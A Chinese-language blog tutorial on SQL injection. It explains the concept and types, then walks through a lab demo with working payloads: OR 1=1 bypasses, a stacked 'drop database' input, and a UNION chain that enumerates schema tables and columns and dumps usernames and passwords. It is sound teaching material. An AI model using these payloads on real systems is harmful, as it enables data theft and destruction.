SQL Injection

SQL注入是一种常见的安全漏洞,发生在应用程序与数据库交互时,允许攻击者通过构造恶意SQL语句来获取或篡改敏感信息。这种攻击可以通过GET或POST方法提交,即使在前后端分离的系统中,只要服务端处理不当,仍可能发生。SQL注入的类型包括布尔型、联合查询、基于时间和报错型等,可能导致数据泄露、权限提升甚至数据库破坏。防止SQL注入的关键在于对用户输入进行严格验证和过滤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL注入漏洞:

SQL概念

SQL是用于参考数据库的语言
SQL:结构化查询语言

SQL注入概念

发生于应用程序与数据库层的安全漏洞。
网站内部直接发送的SQL请求一般不会有危险,但实际情况需要结合用户的输入数据动态构造SQL语句。
如果用户输入被构造成恶意sql语句,Web应用程序对用户的输入没有做严格的判断,导致用户可用将非法的SQL语句拼接到正常的语句中,被当作SQL语句的一部分执行。

在输入的字符串中注入SQL指令,在设计不良的程序中忽略了字符检查,这些恶意指令就会被数据库服务器误认为是正常的SQL指令二运行,因此遭到破坏或者入侵。

get型SQL注入漏洞

提交网页时,主要分为get post方法,
get方法提交的内容会显现在网页URL上,通过对URL连接进行构造,可以获得超出权限的信息内容。

web程序三层架构

  1. 界面层
  2. 业务逻辑层
  3. 数据访问层

image.png
前后端不分离:
8ea70ce413e88a520e332d33536f0e9.jpg
前端&服务器端:
91bc528b6b78452fc4f956a11cbca39.jpg

sql注入发生在哪?

在服务器与数据库进行交互的阶段

如果前后端分立,没有表示层-前端那一块,能否进行SQL注入?

可以,只要服务端与数据库进行交互,服务端甩出去给API(比如:http://localhost:8080/login)
SQL注入,没有网页,也能注入。

API

API:Application Programming Interface,应用程序编程接口。
是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。

sql注入原理

SELECT * FROM t1 WHERE id = %s;
用户输入:1 or 1 = 1
实际上SQL:SELECT * FROM t1 WHERE id =1 OR 1 = 1;

f4f9b9e38a580d2e064a59095d30ad1.jpg
1.用户,键入:' UNION SELECT username , password FROM users --
这个人已经确定有两个字段;username 和password
并且确认了库里有一张表叫users
2.提交到网页,submit
3.向上走,本身的sql是:SELECT name,description FROM products WHERE category ='Gifts'
4.union后,到数据库里执行,把数据库里,所有passwords、usernames拿出来,到前端页面。

SQL注入类型

Boolean-Base Blind布尔型注入
Union联合查询注入
Time-Bases Blind基于时间延迟注入
Error-Bases报错型注入
Stacked queries堆叠注入

SQL注入带来的威胁

  1. 猜解后台数据库,盗取网页敏感信息
  2. 绕过验证登录网站后台
  3. 借助数据库的存储过程进行提权等操作

SQL注入演示

image.png
image.png
输入Gifts' -- 这个单引号是为了闭合字符串前一个单引号,并且把后面的内容都注释掉(注意:–后面有空格)
这里等同于Gifts'#
image.png
image.png
如果不注入:
image.png
注入后-获取隐藏数据:
image.png

分析–拿到类型为gifts,包含未发布商品

image.png
image.png

如果是陌生网站,怎么办?

直接输入一个单引号,回车,f12检查
image.png
找response:
image.png
如果提示我sql语法有问题,百分百这个网站有SQL漏洞。
image.png两个引号没错,三个一定错

分析–拿到所有商品,所有content

不管输入什么,比如输入aaaaa
sql语句为:SELECT id,NAME,content,relessed FROM products WHERE category = 'aaaaa' AND released = 0;

在where前面注释不可能,只能在category的内容去注释
要去改变sql的逻辑
可以输入:Gifts’or 1=1 –

SELECT * FROM products WHERE category = ‘Gifts’ OR 1 = 1 – ‘ AND released = 0;

如何删库

DROP DATABASE products;
输入:a';drop database products;
输入两条语句。

拿到所有用户名和密码并登录系统

找到返回字段个数,使用union select1,2,一直去尝试,如果报
输入Gifts' union select 1,2#
检查中报错–response-数量不一致
输入Gifts' union select 1,2,3,4#
已经把1,2,3,4都注入进去,如图
77d73a8c1559fd0e5892798265cb1c2.jpg
输入Gifts' union select 1,database(),3,4#
对应name为sql_inject,为数据库名称
3-替换为version(),name对应为5.7.33
3-替换为user(),name对应用户为root@121.40.114.23(暴露出数据库存放的服务器)
有了数据库的名,就可以拿到库里面的表,拿到了表,就可以拿到其中的字段
1' union select 1,database(),table_name,4 from information_schema.tables where table_schema=database()--
可以拿到数据库中两张表的名称–products和user
user是我们要利用的表,拿出其中所有的字段
需要username及password
1' union select 1,database(),column_name,4 from information_schema.columns where table_name='user'--
得到很多content,有host、User、很多权限、。。。、最下面有id,user_name,password
权限经常在select user,host from mysql.user看到,也就是说查错表了
加一个限制条件:1' union select 1,database(),column_name,4 from information_schema.columns where table_name='user'and table_schema=database--
精确查出id,user_name,password三个字段
1'union select 1,user_name,password,4 from user #
得到答案:name以及对应的content密码(密码可能有加密–32位md5加密,aes加密)

SQL注入方式

  • 检索隐藏数据
  • 修改应用程序逻辑
  • Union attack
  • 获取敏感数据
  • 盲注
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值